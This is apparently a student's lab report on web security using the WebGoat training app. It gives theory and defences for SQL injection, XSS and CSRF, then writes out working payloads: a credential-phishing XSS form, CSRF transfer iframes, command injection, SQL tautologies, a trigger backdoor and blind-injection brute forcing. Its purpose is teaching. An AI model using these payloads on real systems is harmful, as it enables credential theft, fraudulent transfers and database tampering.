Exp9 Web安全基础

本实践的目标理解常用网络攻击技术的基本原理。Webgoat实践下相关实验。

一.实验后回答问题

(1)SQL注入攻击原理,如何防御

原理:

SQL注入是针对数据库的一种攻击方式。攻击者会将一些恶意代码插入到字符串中,将该字符串传递到SQLServer数据库的实例中进行分析和执行。主要形式有两种。一是直接将代码插入到与SQL命令串联在一起并使得其以执行的用户输入变量,也被称为直接注入式攻击法。二是一种间接的攻击方法,它将恶意代码注入要在表中存储或者作为原数据存储的字符串。在存储的字符串中会连接到一个动态的SQL命令中,以执行一些恶意的SQL代码。

防御:

1>普通用户与系统管理员用户的权限要有严格的区分.

  在权限设计中,对于终端用户,即应用软件的使用者,没有必要给他们数据库对象的建立、删除等权限。那么即使在他们使用SQL语句中带有嵌入式的恶意代码,由于其用户权限的限制,这些代码也将无法被执行。

2>强迫使用参数化语句.

如果在编写SQL语句的时候,用户输入的变量不是直接嵌入到SQL语句。而是通过参数来传递这个变量的话,那么就可以有效的防治SQL注入式攻击。也就是说,用户的输入绝对不能够直接被嵌入到SQL语句中。

3>加强对用户输入的验证。

测试字符串变量的内容,只接受所需的值。拒绝包含二进制数据、转义序列和注释字符的输入内容。这有助于防止脚本注入,防止某些缓冲区溢出攻击。测试用户输入内容的大小和数据类型,强制执行适当的限制与转换。这即有助于防止有意造成的缓冲区溢出,对于防治注入式攻击有比较明显的效果.

  
(2)XSS攻击的原理,如何防御

原理:

XSS跨站脚本攻击,是Web程序中常见的漏洞,分三类,存储型XSS、反射型XSS、DOM-XSS.XSS属于被动式且用于客户端的攻击方式,攻击者向有XSS漏洞的网站中输入(传入)恶意的HTML代码,当其它用户浏览该网站时,这段HTML代码会自动执行,从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。

防御:

1>完善的过滤体系

永远不相信用户的输入。需要对用户的输入进行处理,只允许输入合法的值,其它值一概过滤掉。

2>Html encode

假如某些情况下,我们不能对用户数据进行严格的过滤,那我们也需要对标签进行转换。

比如用户输入:
<script>window.location.href=”http://www.baidu.com”;</script>,保存后最终存储的会是:&lt;script&gt;window.location.href=&quot;http://www.baidu.com&quot;&lt;/script&gt;在展现时浏览器会对这些字符转换成文本内容显示,而不是一段可执行的代码。

(3)CSRF攻击原理,如何防御

原理:
Cross-site+request+forgery跨站请求伪造,通过伪装来自受信任用户的请求来利用受信任的网站,是一种对网站的恶意利用.

防御:

1>通过 referer、token或者验证码来检测用户提交。

2>尽量不要在页面的链接中暴露用户隐私信息。

3>对于用户修改删除等操作最好都使用post操作。

4>避免全站通用的cookie,严格设置cookie的域。

二.实验总结与体会

BurpSuite捕获不到报文问题解决,火狐浏览器中有个地方引起的:

不使用的代理,把这行去掉,就可以了。如还有其它问题,请点击链接查看:关于Burp Suite不能抓包的解决方法

本次实验是最后一次了,通关模式的学习方法很新颖,虽然为难英语水平...真的要好好学英语。突然感觉这学期也快过去了,有种做了一学期实验的感觉,哈哈哈哈,非常充实,收获很多,不但收获了知识,提高了动手能力,更重要的是提高了自己动脑思考解决问题的能力,不仅在这门课,在今后各方面都有很重要的作用。感谢老师的指导与陪伴!o()o

三.实践过程记录

webgoat安装启动

下载地址:https://github.com/WebGoat/WebGoat/releases

下载下来后将jar包放到kali中,输入指令
java -jar webgoat-container-7.0.1-war-exec.jar

浏览器打开http://127.0.0.1:8080/WebGoat/login.mvc

输入下方给出的用户名和密码即可登陆。

1.Phishing with XSS 跨站脚本钓鱼攻击

此题要在搜索框中输入XSS攻击代码,利用XSS可以在已存在的页面中进一步添加元素的特点。我们先创建一个form,让受害人在我们创建的form中填写用户名和密码,再添加一段JavaScript代码,读取受害人输入的用户名和密码。

代码如下:

	</form>
		<script>
		function hack(){ 
	   	 XSSImage=new Image;
	   	 XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
	   	 alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
		} 
		</script>
		<form name="phish">
		<br>
		<br>
		<HR>
		<H2>This feature requires account login:</H2>
		<br>
		<br>Enter Username:<br>
		<input type="text" name="user">
		<br>Enter Password:<br>
		<input type="password" name = "pass">
		<br>
		<input type="submit" name="login" value="login" onclick="hack()">
		</form>
		<br>
		<br>
		<HR>

将这段代码输入到输入框中:

点击search出现如下登录框,在登录框中输入用户名、密码:

点击登录后跳出弹框如下,攻击成功!


2.Stored XSS Attacks 存储型XSS攻击

存储型XSS攻击是持久化的,代码是存储在服务器中的,用户访问该页面的时候触发代码执行。title任意输入,Message输入消息,嵌入一段js代码,用户点击后即可触发,
如在Message框中输入script>alert("I'm zhanghuaijun");</script>

点击提交后弹出对话框,攻击成功!

3.Reflected XSS Attacks 反射型XSS攻击

它的特点是非持久化,需要欺骗用户自己去点击链接才能触发XSS代码。

在code框中输入<script>alert("I'm zhanghuaijun");</script>

点击Purchase出现对话框:

攻击成功!

4.Cross Site Request Forgery

跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。

查看页面右边Parameters中的src和menu值

在title框中任意输入,message框中输入代码:<img src='attack?Screen=src值&menu=menu值&transferFunds=转账数额'>

提交后生成一个链接,点击即可查看用户操作的信息,攻击成功!

5.CSRF Prompt By-Pass

此题包括了两个请求,一是转账请求,二是确认转账成功请求,即需要额外传递两个参数给服务器。查看页面右边Parameters中的src和menu值,并在title框中任意输入,message框中输入代码:

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转账数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

提交后生成一个链接,点击后即可查看用户操作的信息,成功转出500,攻击成功!

6.Command Injection

在目标主机上执行系统命令,可以看到这一题的选择框是一个下拉框,于是,我们可以使用火狐浏览器下的firebug对源代码进行修改.

但是,我在我的浏览器上没找到firebug,百度了下原来是我的浏览器是新版本的,新版本的火狐浏览器已经不支持firebug扩展,并且该扩展已经停止开发适配。 所以新版本的可以使用火狐浏览器自带的developtools(开发者工具)可以完美替代firebug的调试作用。

两种办法,1:Tools->Web Developer->Toggle Tools

2: 右键,Inspect Element

开始修改,修改HelpFile的值为AccessControlMatrix.help"&&ifconfig",其中的双引号是为了封闭原语句中的双引号,&&在命令行中是执行另外一条语句的意思.

点击GO后,成功!

7.Numeric Injection

注入一条SQL语句来显示全部天气信息。可以看到这一题的选择框还是一个下拉框,还是用上面的developtools。

开始修改,station那里有个复选框,可以选择查看相应城市的信息,每选择一个城市,就会把该城市对应的station字段填入SELECT * FROM weather_data WHERE station = ?这条语句中,在数据库后台执行,并将从数据库中得到的搜索结果打印在屏幕上。我们可以随便选择一个城市,把它对应的station或上一个永真式,如下:

点击go,成功!

8.Log Spoofing

在User Name文本框中输入Smith%0d%0aLogin Succeeded for username: admin<script>alert(“20154304test”)</script> 达到欺骗登录效果:

可看到smith登录失败,admin登录成功。

9.String SQL Injection

构造永真式'or 1='1,第一个分号用来闭合原输入语句的前一个分号,而第二个分号用来闭合原输入语句的后一个分号

如下,攻击就成功了,可以显示所有用户的信息

10.LAB: SQL Injection

stage1:String SQL Injection

使用字符串SQL注入绕过认证,登陆Boss(“Neville”)的账号。
将password的最大长度maxlength改为20:

利用永真式,修改password=' or'1'='1,成功:

stage3:Numeric SQL Injection

用员工账号登陆,进入员工页面后再通过SQL注入来查看老板的账户信息,先用刚才的方法选择一名员工登录。

从源代码中看一下在数据库中查找的方式,发现传递的参数是员工ID,想要调出老板账户信息,就得把老板排在id可以预测的位置,一般来说老板的工资都应该是最高的,所以把其中的value值改为101 or 1=1 order by salary desc --,这样老板的信息就会被排到第一个:

点击viewprofile按键,可成功看到老板的账户:

11.Database Backdoors

利用SQL输入插入后门,首先是一个SQL注入点,可以通过数字注入看到所有人的薪水,然后使用以下SQL指令可以修改薪水
在User ID输入框输入101 or 1=1;update employee set salary = 100000,点击提交,如下图所示:

使用SQL注入注入一个后门,创建新用户的时候修改邮箱为你的邮箱

101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='john@hackme.com'WHERE userid = NEW.userid
点击提交,如下图所示:

12.Blind Numeric SQL Injection

数字盲注,此题的要求是找到pins表中cc_number字段值为1111222233334444的记录中pin字段的数值,从服务端页面返回的信息中可以知道,它只告诉你两种信息:帐号有效或无效。

输入语句
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000);查看pin数值是否大于5000

在0-5000之间,用折半查找继续试

在0-2500之间

在1250-2500之间


在2000-2500之间

使用BurpSuite,截获报文进行暴力破解,在BurpSuite中依次选择Proxy->Options->Add新添加一个端口,4304,点击确认后会在Options下增加一行,勾选新形成的这一行:


在浏览器进行手动代理设置点击浏览器右上方的更多选项卡,选择preference

在页面左侧选择advanced,选择network页标签,在connection那一行选择settings…

设置代理服务器和端口(要与BurpSuite中绑定的一致)

在webgoat端点击go,捕获到了报文,右键选择send to intruder

然后在Intruder下选择相关设置:在Target中,设置本机IP地址HOST,和端口号,也就是WebGoat的地址和端口号。
在Positions中,选择Sniper模式,然后用光标选中需要暴力穷举的变量,在此处是account_number后的值,然后点击右侧的add添加

在Payloads中,选择type类型为number,然后设置变化范围2000-2500,并设置步长为1

然后点击右上方Start attack开始攻击

找到数据包大小变化的位置2364,用2364试一下,成功!